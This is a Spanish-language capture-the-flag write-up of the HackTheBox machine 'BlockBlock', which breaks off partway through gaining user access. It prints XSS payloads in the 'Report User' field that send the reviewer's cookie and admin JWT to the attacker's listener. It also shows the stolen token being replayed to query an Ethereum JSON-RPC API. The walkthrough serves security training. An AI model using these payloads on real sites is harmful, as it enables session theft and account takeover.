BlockBlock – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Hard / Difícil
  • Platform / Plataforma: HackTheBox

Avatar blockblock


Resumen Link to heading

“BlockBlock” es una máquina de dificultad Difícil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web con un chatbot. Hay una opción la cual es vulnerable a XSS, lo cual nos permite robar una cookie/token e impersonar a un usuario admin. Este usuario admin tiene acceso a un directorio especial. De este directorio somos capaces de extraer datos acerca de la blockchain corriendo en la máquina víctima. Somos capaces de leer los logs de esta blockchain y extraer así credenciales de SSH para un usuario. Una vez dentro, somos capaces de correr forge (una herramienta para blockchain) como otro usuario, lo que nos permite pivotear a este segundo usuario. Este segundo usuario puede correr pacman (un gestor de paquetes) en la máquina víctima como cualquier usuario; permitiéndonos crear un paquete malicioso e impersonar así al usuario root.


User / Usuario Link to heading

Empezando con un escaneo con Nmap, éste sólo muestra 3 puertos abiertos: 22 SSH, 80 HTTP y 8545 otro servicio HTTP:

❯ sudo nmap -sVC -p22,80,8545 10.10.11.43

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 22:57 -03
Nmap scan report for 10.10.11.43
Host is up (0.31s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp   open  http    Werkzeug/3.0.3 Python/3.12.3
|_http-title:          Home  - DBLC
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Wed, 18 Dec 2024 01:57:55 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 275864
|     Access-Control-Allow-Origin: http://0.0.0.0/
|     Access-Control-Allow-Headers: Content-Type,Authorization
|     Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
|     Connection: close
<SNIP>
8545/tcp open  unknown
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 400 BAD REQUEST
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Wed, 18 Dec 2024 01:57:55 GMT
|     content-type: text/plain; charset=utf-8
|     Content-Length: 43
|     vary: origin, access-control-request-method, access-control-request-headers
|     access-control-allow-origin: *
|     date: Wed, 18 Dec 2024 01:57:55 GMT
|     Connection: close
|     Connection header did not include 'upgrade'
|   HTTPOptions:
<SNIP>

Buscando un poco, el puerto 8454 está relacionado a blockchain con Ethereum; pero nada más allá de ello (de momento).

Revisando las tecnologías usadas en el peurto 80 HTTP usando WhatWeb obtenemos:

❯ whatweb -a 3 http://10.10.11.43

http://10.10.11.43 [200 OK] Access-Control-Allow-Methods[GET,POST,PUT,DELETE,OPTIONS], Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], Script, Title[Home  - DBLC][Title element contains newline(s)!], UncommonHeaders[access-control-allow-origin,access-control-allow-headers,access-control-allow-methods], Werkzeug[3.0.3]

❯ whatweb -a 3 http://10.10.11.43:8545

http://10.10.11.43:8545 [400 Bad Request] Country[RESERVED][ZZ], HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.43], Python[3.12.3], UncommonHeaders[access-control-allow-origin], Werkzeug[3.0.3]

El sitio web parece estar corriendo sobre Flask.

Visitando http://10.10.11.43 muestra una página acerca de blockchain:

BlockBlock 1

Nos creamos una cuenta en esta página.

Al hacerlo, podemos ver la opción de un chatbot:

BlockBlock

Si enviamos diferentes mensajes al bot éste no responde. Si vamos a nuestro perfil (clickeando en Profile) podemos ver:

BlockBlock 3

Podemos ver que nuestro rol de usuario es user, donde además podemos ver los mensajes que hemos enviado previamente al chatbot.

Si interceptamos la petición enviada a nuestro perfil con Burpsuite, podemos ver la petición HTTP:

GET /profile HTTP/1.1
Host: 10.10.11.43
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.43/chat
DNT: 1
Connection: close
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4
Upgrade-Insecure-Requests: 1

Tenemos un Jason Web Token (JWT). Revisando su contenido en una página como https://token.dev/ obtenemos:

BlockBlock 4

Pero nada parece ser útil de momento.

Si abrimos la página web a través del navegador web de Burpsuite, logueamos con nuestra cuenta recién creada y empezamos a hurgar en el sitio, eventualmente podemos ver que tenemos muchas peticiones a la ruta /api/info. Chequeando qué es lo que obtenemos si solicitamos información a esta API, usando como autenticación nuestro JWT, obtenemos:

❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq

{
  "role": "user",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4",
  "username": "gunzf0x"
}

Pero nada más allá de ello.

Si revisamos el sitio HTTP corriendo en el puerto 8545 éste pregunta por headers (cabeceras) para funcionar correctamente:

❯ curl -s http://10.10.11.43:8545

Connection header did not include 'upgrade'

Usando los headers sugeridos, obtenemos:

❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade'

`Upgrade` header did not include 'websocket'%

❯ curl -s http://10.10.11.43:8545 -H 'Connection: upgrade' -H 'Upgrade: websocket'

<!doctype html>
<html lang=en>
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>

Pero parece que sigue sin funcionar.

Volviendo al chat con el bot, en la parte inferior de la página web tenemos el texto Note: You can review our smart contracts anytime here y redirige a:

http://10.10.11.43/api/contract_source

Tratando de ver este endpoint con curl junto con jq muestra:

❯ curl -s http://10.10.11.43/api/contract_source | jq

{
  "msg": "Missing cookie \"token\""
}

Pregunta por una sesión. Dado que hemos visto que la sesión (autenticación) está basada en JWT, pasamos el token del usuario que hemos creado:

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq

{
  "Chat.sol": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.23;\n\n// import \"./Database.sol\";\n\ninterface IDatabase {\n    function accountExist(\n        string calldata username\n    ) external view returns (bool);\n\n    function setChatAddress(address _chat) external;\n}\n\ncontract Chat {\n    struct Message {\n        string content;\n        string sender;\n        uint256 timestamp;\n    }\n\n    address public immutable owner;\n    IDatabase public immutable database;\n\n    mapping(string user => Message[] msg) internal userMessages;\n    uint256 internal totalMessagesCount;\n\n    event MessageSent(\n        uint indexed id,\n        uint indexed timestamp,\n        string sender,\n        string content\n    );\n\n    modifier onlyOwner() {\n        if (msg.sender != owner) {\n            revert(\"Only owner can call this function\");\n        }\n        _;\n    }\n\n    modifier onlyExistingUser(string calldata username) {\n        if (!database.accountExist(username)) {\n            revert(\"User does not exist\");\n        }\n        _;\n    }\n\n    constructor(address _database) {\n        owner = msg.sender;\n        database = IDatabase(_database);\n        database.setChatAddress(address(this));\n    }\n\n    receive() external payable {}\n\n    function withdraw() public onlyOwner {\n        payable(owner).transfer(address(this).balance);\n    }\n\n    function deleteUserMessages(string calldata user) public {\n        if (msg.sender != address(database)) {\n            revert(\"Only database can call this function\");\n        }\n        delete userMessages[user];\n    }\n\n    function sendMessage(\n        string calldata sender,\n        string calldata content\n    ) public onlyOwner onlyExistingUser(sender) {\n        userMessages[sender].push(Message(content, sender, block.timestamp));\n        totalMessagesCount++;\n        emit MessageSent(totalMessagesCount, block.timestamp, sender, content);\n    }\n\n    function getUserMessage(\n        string calldata user,\n        uint256 index\n    )\n        public\n        view\n        onlyOwner\n        onlyExistingUser(user)\n        returns (string memory, string memory, uint256)\n    {\n        return (\n            userMessages[user][index].content,\n            userMessages[user][index].sender,\n            userMessages[user][index].timestamp\n        );\n    }\n\n    function getUserMessagesRange(\n        string calldata user,\n        uint256 start,\n        uint256 end\n    ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n        require(start < end, \"Invalid range\");\n        require(end <= userMessages[user].length, \"End index out of bounds\");\n\n        Message[] memory result = new Message[](end - start);\n        for (uint256 i = start; i < end; i++) {\n            result[i - start] = userMessages[user][i];\n        }\n        return result;\n    }\n\n    function getRecentUserMessages(\n        string calldata user,\n        uint256 count\n    ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n        if (count > userMessages[user].length) {\n            count = userMessages[user].length;\n        }\n\n        Message[] memory result = new Message[](count);\n        for (uint256 i = 0; i < count; i++) {\n            result[i] = userMessages[user][\n                userMessages[user].length - count + i\n            ];\n        }\n        return result;\n    }\n\n    function getUserMessages(\n        string calldata user\n    ) public view onlyOwner onlyExistingUser(user) returns (Message[] memory) {\n        return userMessages[user];\n    }\n\n    function getUserMessagesCount(\n        string calldata user\n    ) public view onlyOwner onlyExistingUser(user) returns (uint256) {\n        return userMessages[user].length;\n    }\n\n    function getTotalMessagesCount() public view onlyOwner returns (uint256) {\n        return totalMessagesCount;\n    }\n}\n",
  "Database.sol": "// SPDX-License-Identifier: GPL-3.0\npragma solidity ^0.8.23;\n\ninterface IChat {\n    function deleteUserMessages(string calldata user) external;\n}\n\ncontract Database {\n    struct User {\n        string password;\n        string role;\n        bool exists;\n    }\n\n    address immutable owner;\n    IChat chat;\n\n    mapping(string username => User) users;\n\n    event AccountRegistered(string username);\n    event AccountDeleted(string username);\n    event PasswordUpdated(string username);\n    event RoleUpdated(string username);\n\n    modifier onlyOwner() {\n        if (msg.sender != owner) {\n            revert(\"Only owner can call this function\");\n        }\n        _;\n    }\n    modifier onlyExistingUser(string memory username) {\n        if (!users[username].exists) {\n            revert(\"User does not exist\");\n        }\n        _;\n    }\n\n    constructor(string memory secondaryAdminUsername,string memory password) {\n        users[\"admin\"] = User(password, \"admin\", true);\n        owner = msg.sender;\n        registerAccount(secondaryAdminUsername, password);\n    }\n\n    function accountExist(string calldata username) public view returns (bool) {\n        return users[username].exists;\n    }\n\n    function getAccount(\n        string calldata username\n    )\n        public\n        view\n        onlyOwner\n        onlyExistingUser(username)\n        returns (string memory, string memory, string memory)\n    {\n        return (username, users[username].password, users[username].role);\n    }\n\n    function setChatAddress(address _chat) public {\n        if (address(chat) != address(0)) {\n            revert(\"Chat address already set\");\n        }\n\n        chat = IChat(_chat);\n    }\n\n    function registerAccount(\n        string memory username,\n        string memory password\n    ) public onlyOwner {\n        if (\n            keccak256(bytes(users[username].password)) != keccak256(bytes(\"\"))\n        ) {\n            revert(\"Username already exists\");\n        }\n        users[username] = User(password, \"user\", true);\n        emit AccountRegistered(username);\n    }\n\n    function deleteAccount(string calldata username) public onlyOwner {\n        if (!users[username].exists) {\n            revert(\"User does not exist\");\n        }\n        delete users[username];\n\n        chat.deleteUserMessages(username);\n        emit AccountDeleted(username);\n    }\n\n    function updatePassword(\n        string calldata username,\n        string calldata oldPassword,\n        string calldata newPassword\n    ) public onlyOwner onlyExistingUser(username) {\n        if (\n            keccak256(bytes(users[username].password)) !=\n            keccak256(bytes(oldPassword))\n        ) {\n            revert(\"Invalid password\");\n        }\n\n        users[username].password = newPassword;\n        emit PasswordUpdated(username);\n    }\n\n    function updateRole(\n        string calldata username,\n        string calldata role\n    ) public onlyOwner onlyExistingUser(username) {\n        if (!users[username].exists) {\n            revert(\"User does not exist\");\n        }\n\n        users[username].role = role;\n        emit RoleUpdated(username);\n    }\n}\n"
}

Podemos ver algunas funciones para las propiedades Chat.sol y Database.sol.

Podemos usar jq y extraer su contenido. El contenido de Database.sol se ve interesante:

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]'

y obtener así (luego de limpiar el código):

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;

interface IChat {
    function deleteUserMessages(string calldata user) external;
}

contract Database {
    struct User {
        string password;
        string role;
        bool exists;
    }

    address immutable owner;
    IChat chat;

    mapping(string username => User) users;

    event AccountRegistered(string username);
    event AccountDeleted(string username);
    event PasswordUpdated(string username);
    event RoleUpdated(string username);

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert("Only owner can call this function");
        }
        _;
    }
    modifier onlyExistingUser(string memory username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        _;
    }

    constructor(string memory secondaryAdminUsername,string memory password) {
        users["admin"] = User(password, "admin", true);
        owner = msg.sender;
        registerAccount(secondaryAdminUsername, password);
    }

    function accountExist(string calldata username) public view returns (bool) {
        return users[username].exists;
    }

    function getAccount(
        string calldata username
    )
        public
        view
        onlyOwner
        onlyExistingUser(username)
        returns (string memory, string memory, string memory)
    {
        return (username, users[username].password, users[username].role);
    }

    function setChatAddress(address _chat) public {
        if (address(chat) != address(0)) {
            revert("Chat address already set");
        }

        chat = IChat(_chat);
    }

    function registerAccount(
        string memory username,
        string memory password
    ) public onlyOwner {
        if (
            keccak256(bytes(users[username].password)) != keccak256(bytes(""))
        ) {
            revert("Username already exists");
        }
        users[username] = User(password, "user", true);
        emit AccountRegistered(username);
    }

    function deleteAccount(string calldata username) public onlyOwner {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        delete users[username];

        chat.deleteUserMessages(username);
        emit AccountDeleted(username);
    }

    function updatePassword(
        string calldata username,
        string calldata oldPassword,
        string calldata newPassword
    ) public onlyOwner onlyExistingUser(username) {
        if (
            keccak256(bytes(users[username].password)) !=
            keccak256(bytes(oldPassword))
        ) {
            revert("Invalid password");
        }

        users[username].password = newPassword;
        emit PasswordUpdated(username);
    }

    function updateRole(
        string calldata username,
        string calldata role
    ) public onlyOwner onlyExistingUser(username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }

        users[username].role = role;
        emit RoleUpdated(username);
    }
}

Este es un código escrito en Solidity, un lenguaje de programación para smart contracts en blockchains de Ethereum. Una función que llama mi atención es updateRole, la cual puede promover el rol de un usuario a admin. Tenemos que guardar ambos códigos (para Chat.sol y Database.sol), dado que nos serán útiles después.

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Database.sol"]' > Database.sol

❯ curl -s http://10.10.11.43/api/contract_source -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ4NzU4NywianRpIjoiNjE4OGNhMGItNDhjNy00ZTU1LTk1OTctY2IyNTdkZjE2ZGEwIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6Imd1bnpmMHgiLCJuYmYiOjE3MzQ0ODc1ODcsImV4cCI6MTczNTA5MjM4N30.qV3xQp1wKkb_aasULx5CPqVr6iG6SPY9IIUawsJQmf4' | jq -r '.["Chat.sol"]' > Chat.sol

Todo apunta a que necesitaremos interactuar con el servicio de blockchain/Ethereum del puerto 8545.

De vuelta al sitio web principal (en el cual estamos logueados), hay un botón Report User en el chat con el bot. Si clickeamos en este y enviamos un texto random obtenemos:

BlockBlock 5

De manera que puede haber un administrador o alguna tarea revisando el mensaje enviado. ¿Qué tal si intentamos enviar un payload de Cross Site Scripting (XSS) para extraer su cookie?

Primero, revisamos si un simple ataque XSS funciona. Empezamos un simple servidor HTTP con Python en el puerto 8000:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y probamos enviando distintos payload de XSS a la opción de Report User.

Eventualmente, uno de los payloads de XSS funciona:

<img src=x onerror=this.src="http://10.10.16.3:8000/xss.js?"+document.cookie>

Obteniendo algunas respuestas en nuestro servidor temporal:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.43 - - [18/Dec/2024 00:30:23] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:23] "GET /xss.js? HTTP/1.1" 404 -
10.10.11.43 - - [18/Dec/2024 00:30:24] code 404, message File not found
10.10.11.43 - - [18/Dec/2024 00:30:24] "GET /xss.js? HTTP/1.1" 404 -

El payload funcionó.

Asi es que podemos intentar un payload de XSS que haga lo siguiente: La víctima del payload XSS visite el endpoint /api/info y, luego, envíe la información de aquella petición (como las cookies) a nuestra máquina de atacantes. Un payload que funciona es:

<img src=x onerror="fetch('http://10.10.11.43/api/info').then(response => {return response.text();}).then(dataFromAPI => {return fetch(`http://10.10.16.3:8888/?data=${dataFromAPI}`)})">

BlockBlock 6

Donde hemos cambiado el puerto del ataque a 8888 (dado que la máquina víctima sigue mandando mensajes del primer payload de XSS que enviamos, lo cual es molesto).

Empezamos un nuevo servidor Python HTTP temporal, pero esta vez en el puerto 8888, y enviamos el payload mencionado anteriormente. Obteniendo así:

❯ python3 -m http.server 8888

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.11.43 - - [18/Dec/2024 00:26:42] "GET /?data={%22role%22:%22admin%22,%22token%22:%22eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg%22,%22username%22:%22admin%22} HTTP/1.1" 200 -

Decodeando el mensaje obtenido nos da:

"role":"admin",
"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
"username":"admin"

Como hicimos antes, revisamos el contenido de este token en https://token.dev/:

BlockBlock 7

Tenemos un token para admin.

Nota
Este JWT de admin expira luego de algunas horas, de manera que puede que necesitemos volver a correr la cadena de ataque con XSS mostrada anteriormente si éste expira.

Usando este token, ahora podemos revisar el endpoint /api/info:

❯ curl -s http://10.10.11.43/api/info -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg' | jq

{
  "role": "admin",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg",
  "username": "admin"
}

Vamos a un navegador de internet como Firefox, logueamos en nuestra cuenta creada, luego vamos a Profile y reemplazamos el JWT de nuestro usuario por el JWT obtenido mediante XSS. Somos ahora el usuario admin:

BlockBlock 8

En la parte superior derecha, podemos ver una nueva pestaña llamada Admin. Clickeando en este redirige a http://10.10.11.43/admin. Tenemos un nuevo dashboard. Yendo a la pestaña Users muestra 2 usuarios: uno es nuestro usuario recién creado y el otro es un usuario llamado keira:

BlockBlock 9

Pero esto no muestra más información más allá de ello.

Revisando el código fuente de /admin podemos ver algo:

(async () => {
    const jwtSecret = await (await fetch('/api/json-rpc')).json();
    const web3 = new Web3(window.origin + "/api/json-rpc");
    const postsCountElement = document.getElementById('chat-posts-count');
    let chatAddress = await (await fetch("/api/chat_address")).text();
    let postsCount = 0;
    chatAddress = (chatAddress.replace(/[\n"]/g, ""));

    // })();
    // (async () => {
    //     let jwtSecret = await (await fetch('/api/json-rpc')).json();

    let balance = await fetch(window.origin + "/api/json-rpc", {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            "token": jwtSecret['Authorization'],
        },
        body: JSON.stringify({
            jsonrpc: "2.0",
            method: "eth_getBalance",
            params: [chatAddress, "latest"],
            id: 1
        })
    });
    let bal = (await balance.json()).result // || '0';
    console.log(bal)
    document.getElementById('donations').innerText = "$" + web3.utils.fromWei(bal,
        'ether')

})();
async function DeleteUser() {
    let username = document.getElementById('user-select').value;
    console.log(username)
    console.log('deleting user')
    let res = await fetch('/api/delete_user', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            username: username
        })
    })
}

La página está llamando a un nuevo endpoint /api/json-rpc, obteniendo un parámetro Authorization.

Buscando que es json-rpc obtenemos:

Información
JSON-RPC is a simple remote procedure call protocol encoded in JSON (Extensible Markup Language), over the HTTP 1.1 protocol. The Ethereum JSON-RPC API is implemented as a set of Web3 object methods that allow clients to interact with the Ethereum blockchain.
En resumen, es un endpoint que nos permite interactuar con la blockchain de Ethereum (que estaba corriendo en el puerto 8545).

Este video da una muy buena explicación sobre éste igual. También encontramos esta página diseñada para lidiar con la API y sus diferentes métodos. Del código fuente de la página que habíamos visto antes, el método es eth_getBalance.

Revisando qué es lo que obtenemos si usamos el token JWT de admin obtenemos:

❯ curl -s 'http://10.10.11.43/api/json-rpc' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'

{"Authorization":"cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"}

Obtenemos un valor de Authorization.

Revisando la ruta /chat_address (la otra ruta que estaba siendo usada en el panel custom de Admin en el servidor web) nos da:

❯ curl -s 'http://10.10.11.43/api/chat_address' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczNDQ5MjQwNCwianRpIjoiNjljN2YwZjQtMTI3MS00ZGZhLThiNTktOGU5NTIyMmJkMTE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzM0NDkyNDA0LCJleHAiOjE3MzUwOTcyMDR9.gaX3oMJHlXQuzB1KTLUaDdSBNC-Lb1xvGImOe_c_Dhg'

"0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8"

Esta parece ser una dirección que apunta al chat (guardado en la blockchain).

Traté de ejecutar comandos para la API a través de cURL, pero no funcionó (más tarde, me di cuenta que esto fue porque necesitamos pasarle el valor de Authentication y JWT de admin a la API). En su lugar, podemos ir a nuestro navegador de internet (Firefox en mi caso), loguear como Admin usando el JWT extraído, ir a Console (Ctrl+Shift+I) y pasar el código hallado, pero sustituyendo por los valores hallados (como la dirección del chat hallada previamente y el valor de Authorization):

fetch('http://10.10.11.43/api/json-rpc', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        "token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
    },
    body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_getBalance",
        params: ["0x38D681F08C24b3F6A945886Ad3F98f856cc6F2f8", "latest"],
        id: 1
    })
})
.then(response => response.json())
.then(data => {
    console.log(data);
})
.catch(error => {
    console.error('Error:', error);
});

BlockBlock 10

Obtenemos como respuesta 0x0 (0 en hexadecimal).

Basados en la página que habíamos mostrado para interactuar con Ethereum, tenemos bastantes métodos para interactuar con la blockchain. Pero éstos no son todos los métodos disponibles. Podemos hallar una lsita de todos los métodos disponibles en la página oficial de Ethereum.org y su documentación o en esta página. No obstante, primero debemos preguntarnos: ¿qué es un bloque (block) en Ethereum?

Información
In Ethereum, a block is a collection of transactions and other data that are added to the Ethereum blockchain.
Un bloque es una colección de transacciones los cuales se agregan a la blockchain.

Para revisar los bloques (blocks) tenemos que cambiar el método especificado. La estructura es usualmente similar a la porción de código que hemos mostrado previamente. Las únicas 2 cosas que cambian son los “métodos” especificados, y los “parámetros” para el respectivo método. Entre todos los métodos disponibles, está el método eth_blockNumber el cual retorna el número (dirección) del bloque más reciente tal cual se explica aquí. Éste método no requiere parámetros, de manera que enviamos la petición:

    body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_blockNumber",
        params: [],
        id: 1
    })

Como lo hicimos antes, copiamos el código anterior, lo pasamos a la consola de desarrollador de Firefox (en la cual ya estábamos previamente logueados como Admin) y obtenemos:

Block 11

Obtenemos el número de bloque hexadecimal 0xf (15 en decimal).

Luego de leer e inspeccionar funciones/métodos, encontramos eth_getBlockByNumber. Basados en su documentación, y como su nombre lo dice, éste retorna información de un bloque basados en su número. Dado que el número del bloque era 0xf, cambiamos el “método” y pasamos los parámetros:

    body: JSON.stringify({
        jsonrpc: "2.0",
        method: "eth_getBlockByNumber",
        params: ["0xf", true],
        id: 1
    })

Ejecutando este comando en una consola muestra mucho output. De la documentación, vemos que hay un valor de Input el cual debería de mostrar toda la data enviada a lo largo de la transacción. En nuestro caso encontramos:

BlockBlock 12

Obteniendo como valor de Input:

0x467fba0f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000767756e7a6630780000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000047465737400000000000000000000000000000000000000000000000000000000

Ahora requereimos de algo llamado archivos .abi para ser capaces de ver el contenido (por lo que, de cierta manera, podemos “desencriptar” el mensaje obtenido anteriormente). Buscando, hay una herramienta la cual pasa archivos .sol (y por esto es que necesitabamos previamente guardar los archivos Chat.sol y Database.sol que encontramos antes) llamada solc. Podemos instalarla usando npm:

❯ sudo npm install -g solc

added 9 packages in 4s

Una vez instalada, la usamos para pasar archivos .sol a archivos .abi:

